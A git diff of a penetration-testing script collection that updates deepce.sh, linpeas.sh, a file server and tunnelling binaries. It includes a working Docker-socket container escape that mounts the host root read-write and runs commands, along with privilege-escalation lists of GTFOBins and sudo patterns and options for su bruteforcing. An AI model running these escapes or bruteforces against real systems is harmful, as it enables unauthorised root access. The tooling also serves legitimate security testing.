diff --git a/README.md b/README.md index 277641a..2ece48c 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,12 @@ This repository contains self-made and common scripts for information gathering, enumeration and more. +### Installation +```bash +git clone git@romanh.de:Roman/HackingScripts +sudo ln -s HackingScripts $(python -c "import sys;print(sys.path[-1])")/hackingscripts +``` + ### Enumeration: Initial Scans - first_scan.sh: Performs initial nmap scan - gobuster.sh: Performs gobuster dir scan with raft-large-words-lowercase.txt diff --git a/chisel b/chisel index 8e4acd9..01a36fb 100755 Binary files a/chisel and b/chisel differ diff --git a/chisel64 b/chisel64 index f0cc154..a4447ae 100755 Binary files a/chisel64 and b/chisel64 differ diff --git a/deepce.sh b/deepce.sh index efd7798..cfa7440 100755 --- a/deepce.sh +++ b/deepce.sh @@ -129,7 +129,7 @@ TIP_CVE_2019_5736="Docker versions before 18.09.2 are vulnerable to a container TIP_SYS_MODULE="Giving the container the SYS_MODULE privilege allows for kernel modules to be mounted. Using this, a malicious module can be used to execute code as root on the host." DANGEROUS_GROUPS="docker\|lxd\|root\|sudo\|wheel" -DANGEROUS_CAPABILITIES="cap_sys_admin\|cap_sys_ptrace\|cap_sys_module\|dac_read_search\|dac_override" +DANGEROUS_CAPABILITIES="cap_sys_admin\|cap_sys_ptrace\|cap_sys_module\|dac_read_search\|dac_override\|cap_sys_rawio\|cap_mknod" CONTAINER_CMDS="docker lxc rkt kubectl podman" USEFUL_CMDS="curl wget gcc nc netcat ncat jq nslookup host hostname dig python python2 python3 nmap" @@ -561,7 +561,13 @@ containerCapabilities() { printNo fi else - printError "Unknown (capsh not installed)" + caps=$(grep Cap /proc/self/status) + capEff=$(grep CapEff /proc/self/status | cut -d ':' -f 2 | tr -d '\t') + printError "capsh not installed, listing raw capabilities" + printInstallAdvice "libcap2-bin" + printStatus "Current capabilities are:" + printStatus "$caps" + printStatus "> This can be decoded with: \"capsh --decode=${capEff}\"" fi } @@ -1046,9 +1052,18 @@ exploitDockerSock() { nl + # Try to find an available docker image + json_data=$(curl -s --unix-socket /var/run/docker.sock http://localhost/images/json) + docker_img=$(echo "$json_data" | grep -o '"RepoTags":\["[^"]*' | grep -o '[^"]*$' | tail -1) + + if [ -z "$docker_img" ]; then + printInfo 'No avaliable docker image found, using alpine' + docker_img="alpine" + fi + # Create docker container using the docker sock payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$cmd\\\"\"]" - response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"alpine\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create) + response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"$docker_img\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create) if ! [ $? ]; then printError 'Something went wrong' diff --git a/fileserver.py b/fileserver.py index 0de9e50..2fa2504 100755 --- a/fileserver.py +++ b/fileserver.py @@ -137,7 +137,6 @@ class HttpFileServer(HTTPServer): self.prefix_routes = { } self.is_running = True self.listen_thread = None - self.has_exited = False def cleanPath(self, path): @@ -231,9 +230,6 @@ class HttpFileServer(HTTPServer): self.listen_thread.start() return self.listen_thread - def start(self): - return self.serve_forever() - def get_base_url(): addr, port = self.server_address if port != 80: @@ -243,28 +239,11 @@ class HttpFileServer(HTTPServer): def stop(self): self.is_running = False - time.sleep(1) - - try: - # dummy request - for i in range(3): - requests.get(f"{self.get_base_url()}/dummy") - if self.has_exited: - break - time.sleep(1) - except: - pass - + time.sleep(1) + self.shutdown() if self.listen_thread != threading.currentThread(): self.listen_thread.join() - def serve_forever(self): - self.has_exited = False - while self.is_running: - self.handle_request() - self.has_exited = True - - if __name__ == "__main__": if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]: print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0]) diff --git a/linpeas.sh b/linpeas.sh index e0761fd..3bfa77a 100644 --- a/linpeas.sh +++ b/linpeas.sh @@ -26,6 +26,7 @@ GREEN="${C}[1;32m" SED_GREEN="${C}[1;32m&${C}[0m" YELLOW="${C}[1;33m" SED_YELLOW="${C}[1;33m&${C}[0m" +RED_YELLOW="${C}[1;31;103m" SED_RED_YELLOW="${C}[1;31;103m&${C}[0m" BLUE="${C}[1;34m" SED_BLUE="${C}[1;34m&${C}[0m" @@ -50,12 +51,12 @@ ITALIC="${C}[3m" # --) SUPERFAST - FAST & do not search for special filaes in all the folders if uname 2>/dev/null | grep -q 'Darwin' || /usr/bin/uname 2>/dev/null | grep -q 'Darwin'; then MACPEAS="1"; else MACPEAS=""; fi -FAST="1" #By default stealth/fast mode +FAST="1" # By default stealth/fast mode SUPERFAST="" DISCOVERY="" PORTS="" QUIET="" -CHECKS="system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex" +CHECKS="system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex" SEARCH_IN_FOLDER="" ROOT_FOLDER="/" WAIT="" @@ -67,33 +68,34 @@ EXTRA_CHECKS="" REGEXES="" PORT_FORWARD="" THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")" -[ -z "$THREADS" ] && THREADS="2" #If THREADS is empty, put number 2 -[ -n "$THREADS" ] && THREADS="2" #If THREADS is null, put number 2 -[ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #It THREADS is not a number, put number 2 +[ -z "$THREADS" ] && THREADS="2" # If THREADS is empty, put number 2 +[ -n "$THREADS" ] && THREADS="2" # If THREADS is null, put number 2 +[ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" # It THREADS is not a number, put number 2 HELP=$GREEN"Enumerate and search Privilege Escalation vectors. ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors. ${GREEN} Checks: - ${YELLOW} -o${BLUE} Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list. + ${YELLOW} -a${BLUE} Perform all checks: 1 min of processes, su brute, and extra checks. + ${YELLOW} -o${BLUE} Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex). Select a comma separated list. ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks) ${YELLOW} -e${BLUE} Perform extra enumeration ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours) ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' ${YELLOW} -D${BLUE} Debug mode - + ${GREEN} Network recon: ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files ${YELLOW} -d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 ${YELLOW} -p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 ${YELLOW} -i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed - - ${GREEN} Port forwarding: - ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a local IP to a remote IP - + + ${GREEN} Port forwarding (reverse connection): + ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a your host (LOCAL_IP:LOCAL_PORT) to a remote IP (REMOTE_IP:REMOTE_PORT) + ${GREEN} Firmware recon: ${YELLOW} -f ${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder - + ${GREEN} Misc: ${YELLOW} -h${BLUE} To show this message ${YELLOW} -w${BLUE} Wait execution between big blocks of checks @@ -118,17 +120,17 @@ while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do w) WAIT=1;; N) NOCOLOR="1";; D) DEBUG="1";; - t) AUTO_NETWORK_SCAN="1";; + t) AUTO_NETWORK_SCAN="1"; CHECKS="network_information";; e) EXTRA_CHECKS="1";; r) REGEXES="1";; f) SEARCH_IN_FOLDER=$OPTARG; - if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then #Make sure firmware folder ends with "/" - SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/"; - fi; - ROOT_FOLDER=$SEARCH_IN_FOLDER; - REGEXES="1"; - CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_files,api_keys_regex";; - + if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then # Make sure firmware folder ends with "/" + SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/"; + fi; + ROOT_FOLDER=$SEARCH_IN_FOLDER; + REGEXES="1"; + CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_perms_files,interesting_files,api_keys_regex";; + F) PORT_FORWARD=$OPTARG;; esac done @@ -243,9 +245,9 @@ print_support () { printf """ ${GREEN}/---------------------------------------------------------------------------------\\ | ${BLUE}Do you like PEASS?${GREEN} | - |---------------------------------------------------------------------------------| + |---------------------------------------------------------------------------------| | ${YELLOW}Get the latest version${GREEN} : ${RED}https://github.com/sponsors/carlospolop${GREEN} | - | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@carlospolopm${GREEN} | + | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@hacktricks_live${GREEN} | | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} | |---------------------------------------------------------------------------------| | ${BLUE}Thank you! ${GREEN} | @@ -314,10 +316,10 @@ idB="euid|egid$baduid" sudovB="[01].[012345678].[0-9]+|1.9.[01234]|1.9.5p1" mounted=$( (cat /proc/self/mountinfo || cat /proc/1/mountinfo) 2>/dev/null | cut -d " " -f5 | grep "^/" | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') -if ! [ "$mounted" ]; then +if ! [ "$mounted" ]; then mounted=$( (mount -l || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts) 2>/dev/null | grep "^/" | cut -d " " -f1 | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') fi -if ! [ "$mounted" ]; then mounted="ImPoSSssSiBlEee"; fi #Don't let any blacklist to be empty +if ! [ "$mounted" ]; then mounted="ImPoSSssSiBlEee"; fi # Don't let any blacklist to be empty mountG="swap|/cdrom|/floppy|/dev/shm" notmounted=$(cat /etc/fstab 2>/dev/null | grep "^/" | grep -Ev "$mountG" | awk '{print $1}' | grep -Ev "$mounted" | tr '\n' '|')"ImPoSSssSiBlEee" mountpermsB="\Wsuid|\Wuser|\Wexec" @@ -327,7 +329,7 @@ rootcommon="/init$|upstart-udev-bridge|udev|/getty|cron|apache2|java|tomcat|/vmt groupsB="\(root\)|\(shadow\)|\(admin\)|\(video\)|\(adm\)|\(wheel\)|\(auth\)" groupsVB="\(sudo\)|\(docker\)|\(lxd\)|\(disk\)|\(lxc\)" -knw_grps='\(lpadmin\)|\(cdrom\)|\(plugdev\)|\(nogroup\)' #https://www.togaware.com/linux/survivor/Standard_Groups.html +knw_grps='\(lpadmin\)|\(cdrom\)|\(plugdev\)|\(nogroup\)' # https://www.togaware.com/linux/survivor/Standard_Groups.html mygroups=$(groups 2>/dev/null | tr " " "|") # Default Binaries List @@ -336,7 +338,7 @@ sidG2="/gnome-pty-helper$|/glines$|/gnibbles$|/gnobots2$|/gnome-suspend$|/gnomet sidG3="/ncsa_auth$|/netpr$|/netkit-rcp$|/netkit-rlogin$|/netkit-rsh$|/netreport$|/netstat$|/newgidmap$|/newtask$|/newuidmap$|/nvmmctl$|/opieinfo$|/opiepasswd$|/pam_auth$|/pam_extrausers_chkpwd$|/pam_timestamp_check$|/pamverifier$|/pfexec$|/ping$|/ping6$|/pmconfig$|/pmap$|/polkit-agent-helper-1$|/polkit-explicit-grant-helper$|/polkit-grant-helper$|/polkit-grant-helper-pam$|/polkit-read-auth-helper$|/polkit-resolve-exe-helper$|/polkit-revoke-helper$|/polkit-set-default-helper$|/postdrop$|/postqueue$|/poweroff$|/ppp$|/procmail$|/pstat$|/pt_chmod$|/pwdb_chkpwd$|/quota$|/rcmd|/remote.unknown$|/rlogin$|/rmformat$|/rnews$|/run-mailcap$|/sacadm$|/same-gnome$|screen.real$|/security_authtrampoline$|/sendmail.sendmail$|/shutdown$|/skeyaudit$|/skeyinfo$|/skeyinit$|/sliplogin|/slocate$|/smbmnt$|/smbumount$|/smpatch$|/smtpctl$|/sperl5.8.8$|/ssh-agent$|/ssh-keysign$|/staprun$|/startinnfeed$|/stclient$|/su$|/suexec$|/sys-suspend$|/sysstat$|/systat$" sidG4="/telnetlogin$|/timedc$|/tip$|/top$|/traceroute6$|/traceroute6.iputils$|/trpt$|/tsoldtlabel$|/tsoljdslabel$|/tsolxagent$|/ufsdump$|/ufsrestore$|/ulog-helper$|/umount.cifs$|/umount.nfs$|/umount.nfs4$|/unix_chkpwd$|/uptime$|/userhelper$|/userisdnctl$|/usernetctl$|/utempter$|/utmp_update$|/uucico$|/uuglist$|/uuidd$|/uuname$|/uusched$|/uustat$|/uux$|/uuxqt$|/VBoxHeadless$|/VBoxNetAdpCtl$|/VBoxNetDHCP$|/VBoxNetNAT$|/VBoxSDL$|/VBoxVolInfo$|/VirtualBoxVM$|/vmstat$|/vmware-authd$|/vmware-user-suid-wrapper$|/vmware-vmx$|/vmware-vmx-debug$|/vmware-vmx-stats$|/vncserver-x11$|/volrmmount$|/w$|/wall$|/whodo$|/write$|/X$|/Xorg.wrap$|/Xsun$|/Xvnc$|/yppasswd$" -#Rules: Start path " /", end path "$", divide path and vulnversion "%". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION +# Rules: Start path " /", end path "$", divide path and vulnversion "%". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /at$%RTru64_UNIX_4.0g\(CVE-2002-1614\)\ /abrt-action-install-debuginfo-to-abrt-cache$%CENTOS 7.1/Fedora22 @@ -390,13 +392,13 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /xscreensaver%Solaris_11.x\(CVE-2019-3010\)\ /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\ /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)" -#To update sidVB: curl https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins 2>/dev/null | grep 'href="/GTFOBins/' | grep '.md">' | awk -F 'title="' '{print $2}' | cut -d '"' -f1 | cut -d "." -f1 | sed -e 's,^,/,' | sed -e 's,$,\$,' | tr '\n' '|' -sidVB='/ab$|/agetty$|/alpine$|/ar$|/aria2c$|/arj$|/arp$|/as$|/ascii-xfr$|/ash$|/aspell$|/atobm$|/awk$|/base32$|/base64$|/basenc$|/basez$|/bash$|/bc$|/bridge$|/busybox$|/byebug$|/bzip2$|/cabal$|/capsh$|/cat$|/chmod$|/choom$|/chown$|/chroot$|/cmp$|/column$|/comm$|/composer$|/cp$|/cpio$|/cpulimit$|/csh$|/csplit$|/csvtool$|/cupsfilter$|/curl$|/cut$|/dash$|/date$|/dd$|/debugfs$|/dialog$|/diff$|/dig$|/dmsetup$|/docker$|/dosbox$|/dvips$|/ed$|/efax$|/emacs$|/env$|/eqn$|/espeak$|/expand$|/expect$|/file$|/find$|/fish$|/flock$|/fmt$|/fold$|/gawk$|/gcore$|/gdb$|/genie$|/genisoimage$|/gimp$|/ginsh$|/git$|/grep$|/gtester$|/gzip$|/hd$|/head$|/hexdump$|/highlight$|/hping3$|/iconv$|/iftop$|/install$|/ionice$|/ip$|/ispell$|/jjs$|/join$|/jq$|/jrunscript$|/ksh$|/ksshell$|/kubectl$|/latex$|/ldconfig$|/less$|/lftp$|/logsave$|/look$|/lua$|/lualatex$|/luatex$|/make$|/mawk$|/more$|/mosquitto$|/msgattrib$|/msgcat$|/msgconv$|/msgfilter$|/msgmerge$|/msguniq$|/multitime$|/mv$' -sidVB2='/mysql$|/nano$|/nasm$|/nawk$|/nc$|/nft$|/nice$|/nl$|/nm$|/nmap$|/node$|/nohup$|/octave$|/od$|/openssl$|/openvpn$|/pandoc$|/paste$|/pdflatex$|/pdftex$|/perf$|/perl$|/pg$|/php$|/pic$|/pico$|/pidstat$|/posh$|/pr$|/pry$|/psftp$|/ptx$|/python$|/rake$|/readelf$|/restic$|/rev$|/rlwrap$|/rpm$|/rpmdb$|/rpmquery$|/rpmverify$|/rsync$|/rtorrent$|/run-parts$|/rview$|/rvim$|/sash$|/scanmem$|/scp$|/scrot$|/sed$|/setarch$|/setfacl$|/setlock$|/shuf$|/slsh$|/socat$|/soelim$|/softlimit$|/sort$|/sqlite3$|/ss$|/ssh-keygen$|/ssh-keyscan$|/sshpass$|/start-stop-daemon$|/stdbuf$|/strace$|/strings$|/sysctl$|/systemctl$|/tac$|/tail$|/tar$|/taskset$|/tasksh$|/tbl$|/tclsh$|/tee$|/telnet$|/tex$|/tftp$|/tic$|/time$|/timeout$|/tmate$|/troff$|/ul$|/unexpand$|/uniq$|/unshare$|/unzip$|/update-alternatives$|/uudecode$|/uuencode$|/view$|/vigr$|/vim$|/vimdiff$|/vipw$|/w3m$|/watch$|/wc$|/wget$|/whiptail$|/xargs$|/xdotool$|/xelatex$|/xetex$|/xmodmap$|/xmore$|/xxd$|/xz$|/yash$|/zip$|/zsh$|/zsoelim$' +# To update sidVB: curl https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins 2>/dev/null | grep 'href="/GTFOBins/' | grep '.md">' | awk -F 'title="' '{print $2}' | cut -d '"' -f1 | cut -d "." -f1 | sed -e 's,^,/,' | sed -e 's,$,\$,' | tr '\n' '|' +sidVB='/aa-exec$|/ab$|/agetty$|/alpine$|/ar$|/aria2c$|/arj$|/arp$|/as$|/ascii-xfr$|/ash$|/aspell$|/atobm$|/awk$|/base32$|/base64$|/basenc$|/basez$|/bash$|/batcat$|/bc$|/bridge$|/busybox$|/byebug$|/bzip2$|/cabal$|/capsh$|/cat$|/chmod$|/choom$|/chown$|/chroot$|/clamscan$|/cmp$|/column$|/comm$|/composer$|/cp$|/cpio$|/cpulimit$|/csh$|/csplit$|/csvtool$|/cupsfilter$|/curl$|/cut$|/dash$|/date$|/dd$|/debugfs$|/dialog$|/diff$|/dig$|/distcc$|/dmsetup$|/docker$|/dosbox$|/dvips$|/ed$|/efax$|/elvish$|/emacs$|/env$|/eqn$|/espeak$|/expand$|/expect$|/file$|/find$|/fish$|/flock$|/fmt$|/fold$|/gawk$|/gcore$|/gdb$|/genie$|/genisoimage$|/gimp$|/ginsh$|/git$|/grep$|/gtester$|/gzip$|/hd$|/head$|/hexdump$|/highlight$|/hping3$|/iconv$|/iftop$|/install$|/ionice$|/ip$|/ispell$|/jjs$|/joe$|/join$|/jq$|/jrunscript$|/julia$|/ksh$|/ksshell$|/kubectl$|/latex$|/ldconfig$|/less$|/lftp$|/logsave$|/look$|/lua$|/lualatex$|/luatex$|/make$|/mawk$|/more$|/mosquitto$|/msgattrib$|/msgcat$|/msgconv$|/msgfilter$|/msgmerge$|/msguniq$|/multitime$|/mv$' +sidVB2='/mysql$|/nano$|/nasm$|/nawk$|/nc$|/ncftp$|/nft$|/nice$|/nl$|/nm$|/nmap$|/node$|/nohup$|/octave$|/od$|/openssl$|/openvpn$|/pandoc$|/paste$|/pdflatex$|/pdftex$|/perf$|/perl$|/pexec$|/pg$|/php$|/pic$|/pico$|/pidstat$|/posh$|/pr$|/pry$|/psftp$|/ptx$|/python$|/rake$|/rc$|/readelf$|/restic$|/rev$|/rlwrap$|/rpm$|/rpmdb$|/rpmquery$|/rpmverify$|/rsync$|/rtorrent$|/run-parts$|/rview$|/rvim$|/sash$|/scanmem$|/scp$|/scrot$|/sed$|/setarch$|/setfacl$|/setlock$|/shuf$|/slsh$|/socat$|/soelim$|/softlimit$|/sort$|/sqlite3$|/ss$|/ssh-agent$|/ssh-keygen$|/ssh-keyscan$|/sshpass$|/start-stop-daemon$|/stdbuf$|/strace$|/strings$|/sysctl$|/systemctl$|/tac$|/tail$|/tar$|/taskset$|/tasksh$|/tbl$|/tclsh$|/tdbtool$|/tee$|/telnet$|/terraform$|/tex$|/tftp$|/tic$|/time$|/timeout$|/tmate$|/troff$|/ul$|/unexpand$|/uniq$|/unshare$|/unsquashfs$|/unzip$|/update-alternatives$|/uudecode$|/uuencode$|/vagrant$|/view$|/vigr$|/vim$|/vimdiff$|/vipw$|/w3m$|/watch$|/wc$|/wget$|/whiptail$|/xargs$|/xdotool$|/xelatex$|/xetex$|/xmodmap$|/xmore$|/xxd$|/xz$|/yash$|/zip$|/zsh$|/zsoelim$' cfuncs='file|free|main|more|read|split|write' -sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|7z$|ab$|alpine$|ansible-playbook$|aoss$|apt-get$|apt$|ar$|aria2c$|arj$|arp$|as$|ascii-xfr$|ascii85$|ash$|aspell$|at$|atobm$|awk$|aws$|base32$|base58$|base64$|basenc$|basez$|bash$|batcat$|bc$|bconsole$|bpftrace$|bridge$|bundle$|bundler$|busctl$|busybox$|byebug$|bzip2$|c89$|c99$|cabal$|capsh$|cat$|cdist$|certbot$|check_by_ssh$|check_cups$|check_log$|check_memory$|check_raid$|check_ssl_cert$|check_statusfile$|chmod$|choom$|chown$|chroot$|cmp$|cobc$|column$|comm$|composer$|cowsay$|cowthink$|cp$|cpan$|cpio$|cpulimit$|crash$|crontab$|csh$|csplit$|csvtool$|cupsfilter$|curl$|cut$|dash$|date$|dd$|debugfs$|dialog$|diff$|dig$|dmesg$|dmidecode$|dmsetup$|dnf$|docker$|dosbox$|dpkg$|dvips$|easy_install$|eb$|ed$|efax$|emacs$|env$|eqn$|espeak$|ex$|exiftool$|expand$|expect$|facter$|file$|find$|fish$|flock$|fmt$|fold$|fping$|ftp$|gawk$|gcc$|gcloud$|gcore$|gdb$|gem$|genie$|genisoimage$|ghc$|ghci$|gimp$|ginsh$|git$|grc$|grep$|gtester$|gzip$|hd$|head$|hexdump$|highlight$|hping3$|iconv$|iftop$|install$|ionice$|ip$|irb$|ispell$|jjs$|join$|journalctl$|jq$|jrunscript$|jtag$|knife$|ksh$|ksshell$|ksu$|kubectl$|latex$|latexmk$|ldconfig$|less$|lftp$|ln$|loginctl$|logsave$|look$|ltrace$|lua$|lualatex$|luatex$|lwp-download$|lwp-request$|mail$|make$|man$|mawk$|more$|mosquitto$|mount$" -sudoVB2="msfconsole$|msgattrib$|msgcat$|msgconv$|msgfilter$|msgmerge$|msguniq$|mtr$|multitime$|mv$|mysql$|nano$|nasm$|nawk$|nc$|neofetch$|nft$|nice$|nl$|nm$|nmap$|node$|nohup$|npm$|nroff$|nsenter$|octave$|od$|openssl$|openvpn$|openvt$|opkg$|pandoc$|paste$|pdb$|pdflatex$|pdftex$|perf$|perl$|perlbug$|pg$|php$|pic$|pico$|pidstat$|pip$|pkexec$|pkg$|posh$|pr$|pry$|psftp$|psql$|ptx$|puppet$|python$|rake$|readelf$|red$|redcarpet$|restic$|rev$|rlwrap$|rpm$|rpmdb$|rpmquery$|rpmverify$|rsync$|ruby$|run-mailcap$|run-parts$|rview$|rvim$|sash$|scanmem$|scp$|screen$|script$|scrot$|sed$|service$|setarch$|setfacl$|setlock$|sftp$|sg$|shuf$|slsh$|smbclient$|snap$|socat$|soelim$|softlimit$|sort$|split$|sqlite3$|ss$|ssh-keygen$|ssh-keyscan$|ssh$|sshpass$|start-stop-daemon$|stdbuf$|strace$|strings$|su$|sysctl$|systemctl$|systemd-resolve$|tac$|tail$|tar$|task$|taskset$|tasksh$|tbl$|tclsh$|tcpdump$|tee$|telnet$|tex$|tftp$|tic$|time$|timedatectl$|timeout$|tmate$|tmux$|top$|torify$|torsocks$|troff$|ul$|unexpand$|uniq$|unshare$|unzip$|update-alternatives$|uudecode$|uuencode$|valgrind$|vi$|view$|vigr$|vim$|vimdiff$|vipw$|virsh$|w3m$|wall$|watch$|wc$|wget$|whiptail$|wireshark$|wish$|xargs$|xdotool$|xelatex$|xetex$|xmodmap$|xmore$|xpad$|xxd$|xz$|yarn$|yash$|yum$|zathura$|zip$|zsh$|zsoelim$|zypper$" +sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|7z$|aa-exec$|ab$|alpine$|ansible-playbook$|ansible-test$|aoss$|apt-get$|apt$|ar$|aria2c$|arj$|arp$|as$|ascii-xfr$|ascii85$|ash$|aspell$|at$|atobm$|awk$|aws$|base32$|base58$|base64$|basenc$|basez$|bash$|batcat$|bc$|bconsole$|bpftrace$|bridge$|bundle$|bundler$|busctl$|busybox$|byebug$|bzip2$|c89$|c99$|cabal$|capsh$|cat$|cdist$|certbot$|check_by_ssh$|check_cups$|check_log$|check_memory$|check_raid$|check_ssl_cert$|check_statusfile$|chmod$|choom$|chown$|chroot$|clamscan$|cmp$|cobc$|column$|comm$|composer$|cowsay$|cowthink$|cp$|cpan$|cpio$|cpulimit$|crash$|crontab$|csh$|csplit$|csvtool$|cupsfilter$|curl$|cut$|dash$|date$|dd$|debugfs$|dialog$|diff$|dig$|distcc$|dmesg$|dmidecode$|dmsetup$|dnf$|docker$|dosbox$|dotnet$|dpkg$|dstat$|dvips$|easy_install$|eb$|ed$|efax$|elvish$|emacs$|env$|eqn$|espeak$|ex$|exiftool$|expand$|expect$|facter$|file$|find$|fish$|flock$|fmt$|fold$|fping$|ftp$|gawk$|gcc$|gcloud$|gcore$|gdb$|gem$|genie$|genisoimage$|ghc$|ghci$|gimp$|ginsh$|git$|grc$|grep$|gtester$|gzip$|hd$|head$|hexdump$|highlight$|hping3$|iconv$|iftop$|install$|ionice$|ip$|irb$|ispell$|jjs$|joe$|join$|journalctl$|jq$|jrunscript$|jtag$|julia$|knife$|ksh$|ksshell$|ksu$|kubectl$|latex$|latexmk$|ldconfig$|less$|lftp$|ln$|loginctl$|logsave$|look$|ltrace$|lua$|lualatex$|luatex$|lwp-download$|lwp-request$|mail$|make$|man$|mawk$|more$|mosquitto$|mount$|msfconsole$" +sudoVB2="msgattrib$|msgcat$|msgconv$|msgfilter$|msgmerge$|msguniq$|mtr$|multitime$|mv$|mysql$|nano$|nasm$|nawk$|nc$|ncftp$|neofetch$|nft$|nice$|nl$|nm$|nmap$|node$|nohup$|npm$|nroff$|nsenter$|octave$|od$|openssl$|openvpn$|openvt$|opkg$|pandoc$|paste$|pdb$|pdflatex$|pdftex$|perf$|perl$|perlbug$|pexec$|pg$|php$|pic$|pico$|pidstat$|pip$|pkexec$|pkg$|posh$|pr$|pry$|psftp$|psql$|ptx$|puppet$|pwsh$|python$|rake$|rc$|readelf$|red$|redcarpet$|restic$|rev$|rlwrap$|rpm$|rpmdb$|rpmquery$|rpmverify$|rsync$|ruby$|run-mailcap$|run-parts$|rview$|rvim$|sash$|scanmem$|scp$|screen$|script$|scrot$|sed$|service$|setarch$|setfacl$|setlock$|sftp$|sg$|shuf$|slsh$|smbclient$|snap$|socat$|soelim$|softlimit$|sort$|split$|sqlite3$|sqlmap$|ss$|ssh-agent$|ssh-keygen$|ssh-keyscan$|ssh$|sshpass$|start-stop-daemon$|stdbuf$|strace$|strings$|su$|sysctl$|systemctl$|systemd-resolve$|tac$|tail$|tar$|task$|taskset$|tasksh$|tbl$|tclsh$|tcpdump$|tdbtool$|tee$|telnet$|terraform$|tex$|tftp$|tic$|time$|timedatectl$|timeout$|tmate$|tmux$|top$|torify$|torsocks$|troff$|ul$|unexpand$|uniq$|unshare$|unsquashfs$|unzip$|update-alternatives$|uudecode$|uuencode$|vagrant$|valgrind$|vi$|view$|vigr$|vim$|vimdiff$|vipw$|virsh$|w3m$|wall$|watch$|wc$|wget$|whiptail$|wireshark$|wish$|xargs$|xdg-user-dir$|xdotool$|xelatex$|xetex$|xmodmap$|xmore$|xpad$|xxd$|xz$|yarn$|yash$|yum$|zathura$|zip$|zsh$|zsoelim$|zypper$" sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount" sudoG="NOEXEC" @@ -426,7 +428,7 @@ for P in $ADDPATH; do if [ "${spath##*$P*}" ]; then export PATH="$PATH$P" 2>/dev/null; fi done -# test if sed supports -E or -r +# Test if sed supports -E or -r E=E echo | sed -${E} 's/o/a/' 2>/dev/null if [ $? -ne 0 ] ; then @@ -450,24 +452,27 @@ if [ "$MACPEAS" ]; then done else 